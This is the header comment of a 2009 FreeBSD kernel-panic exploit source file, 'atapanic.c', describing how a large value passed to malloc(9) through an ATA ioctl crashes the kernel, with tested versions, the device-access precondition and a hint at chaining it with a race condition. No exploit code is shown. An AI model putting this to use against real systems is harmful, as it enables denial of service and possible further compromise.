/* atapanic.c
 *
 * by Shaun Colley, 13 July 2009
 *
 * this panics the freebsd kernel by passing a large value to malloc(9) in one of
 * fbsd's ata ioctl's.  tested on freebsd 6.0 and 8.0.  you need read access to the
 * ata device in /dev to be able to open() the device.  chain with some race condition
 * bug?
